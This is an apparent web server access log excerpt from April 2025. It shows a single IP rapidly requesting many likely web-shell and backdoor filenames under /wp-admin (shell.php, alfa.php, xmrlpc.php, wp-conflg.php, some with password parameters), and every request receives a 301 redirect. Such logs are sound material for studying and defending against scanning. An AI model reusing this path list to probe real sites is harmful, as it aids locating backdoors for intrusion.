"-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:15 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:16 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:16 -0400] "GET /wp-Owl.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:17 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:17 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:18 -0400] "GET /wp-admin.phphttps://diegun.com/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:18 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:19 -0400] "GET /wp-admin//fmadmin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:20 -0400] "GET /wp-admin/31eqRsJgQ6n.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:20 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:21 -0400] "GET /wp-admin/5gTfXRhIqkW.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:21 -0400] "GET /wp-admin/7EPezNYMy84.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:22 -0400] "GET /wp-admin/8h4AoSFJCLO.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:22 -0400] "GET /wp-admin/9pX1s4oMLtC.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:23 -0400] "GET /wp-admin/AhqPecJ6oky.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:23 -0400] "GET /wp-admin/FriUsGzT5d7.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:24 -0400] "GET /wp-admin/GkXRTpxowKQ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:24 -0400] "GET /wp-admin/ILNqJhgUpAG.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:25 -0400] "GET /wp-admin/LaAkNhWMyOQ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:26 -0400] "GET /wp-admin/MDO8adG9euX.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:26 -0400] "GET /wp-admin/NFBqIyOZcQL.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:27 -0400] "GET /wp-admin/O5pANR6rDXx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:27 -0400] "GET /wp-admin/RqdXEex3Jfb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:28 -0400] "GET /wp-admin/UmpVR1Ersn8.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:28 -0400] "GET /wp-admin/WvASxq1D2c8.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:29 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:29 -0400] "GET /wp-admin/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:30 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:30 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:31 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:32 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:32 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:33 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:33 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:34 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:34 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:35 -0400] "GET /wp-admin/css//about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:35 -0400] "GET /wp-admin/css//forbidden.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:36 -0400] "GET /wp-admin/css//item.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:36 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:37 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:37 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:38 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:38 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:39 -0400] "GET /wp-admin/css/colors//Admin-Author.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:40 -0400] "GET /wp-admin/css/colors//about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:40 -0400] "GET /wp-admin/css/colors//moon.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:41 -0400] "GET /wp-admin/css/colors/aPRTXyP.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:41 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:42 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:43 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:43 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:44 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:44 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:45 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:46 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:46 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:47 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:47 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:48 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:48 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:49 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:50 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:50 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:51 -0400] "GET /wp-admin/css/colors/ectoplasm//my1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:51 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:52 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:52 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:53 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:53 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:54 -0400] "GET /wp-admin/css/colors/light/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:54 -0400] "GET /wp-admin/css/colors/midnight/IUSPPi.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:55 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:56 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:56 -0400] "GET /wp-admin/css/colors/ocean/wp-post.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:57 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:57 -0400] "GET /wp-admin/css/colors/wp-post.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:58 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:58 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:59 -0400] "GET /wp-admin/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:59 -0400] "GET /wp-admin/css/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:00 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:00 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:01 -0400] "GET /wp-admin/css/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:02 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:02 -0400] "GET /wp-admin/css/x2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:03 -0400] "GET /wp-admin/cux.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:03 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:04 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:04 -0400] "GET /wp-admin/fIPCHgi5lwx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:05 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:05 -0400] "GET /wp-admin/ftpnMRS2BQw.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:06 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:06 -0400] "GET /wp-admin/gLMkHUftdyF.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:07 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:07 -0400] "GET /wp-admin/images//Mhbgf.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:08 -0400] "GET /wp-admin/images//links.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:09 -0400] "GET /wp-admin/images//mlm.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:09 -0400] "GET /wp-admin/images//wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:10 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:10 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:11 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:11 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:12 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:12 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:13 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:13 -0400] "GET /wp-admin/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:14 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:14 -0400] "GET /wp-admin/images/layout.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:15 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:16 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:16 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:17 -0400] "GET /wp-admin/includes//12wvdscz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:17 -0400] "GET /wp-admin/includes//inputs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:18 -0400] "GET /wp-admin/includes//install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:18 -0400] "GET /wp-admin/includes//links.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:19 -0400] "GET /wp-admin/includes//nav.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:19 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:20 -0400] "GET /wp-admin/includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:20 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:21 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:21 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:22 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:23 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:23 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:24 -0400] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:24 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:25 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:25 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:26 -0400] "GET /wp-admin/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:26 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:27 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:27 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:28 -0400] "GET /wp-admin/js//themes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:28 -0400] "GET /wp-admin/js//wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:29 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:29 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:30 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:31 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:31 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:32 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:32 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:33 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:33 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:34 -0400] "GET /wp-admin/js/widgets/edit.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:34 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:35 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:35 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:36 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:36 -0400] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:37 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:38 -0400] "GET /wp-admin/kpjQgosHcIU.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:38 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:39 -0400] "GET /wp-admin/m5gxnfKML7e.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:39 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:40 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:40 -0400] "GET /wp-admin/maint//go.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:41 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:41 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:42 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:43 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:43 -0400] "GET /wp-admin/maint/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:44 -0400] "GET /wp-admin/maint/index.php?pass=lin598853003 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:44 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:45 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:45 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:46 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:46 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:47 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:47 -0400] "GET /wp-admin/network/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:48 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:49 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:49 -0400] "GET /wp-admin/network/b.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:50 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:50 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:51 -0400] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:51 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:52 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:53 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:53 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:54 -0400] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:55 -0400] "GET /wp-admin/network/x2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:55 -0400] "GET /wp-admin/network/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:56 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:56 -0400] "GET /wp-admin/nu9OXf8vKDb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:57 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:57 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:58 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:59 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:19:59 -0400] "GET /wp-admin/pn2V4tLmwH3.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:00 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:01 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:01 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:02 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:03 -0400] "GET /wp-admin/shell.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:04 -0400] "GET /wp-admin/soDcBgSFtLA.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:04 -0400] "GET /wp-admin/swm6p5Zny1e.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:05 -0400] "GET /wp-admin/tYDX5wNaIbH.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:06 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:07 -0400] "GET /wp-admin/uiTWAJnRoeg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:07 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:08 -0400] "GET /wp-admin/user/?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:09 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:09 -0400] "GET /wp-admin/user/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:10 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:11 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:11 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:12 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:13 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:13 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:14 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:14 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:15 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:16 -0400] "GET /wp-admin/wEvOhNfjUQY.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:16 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:17 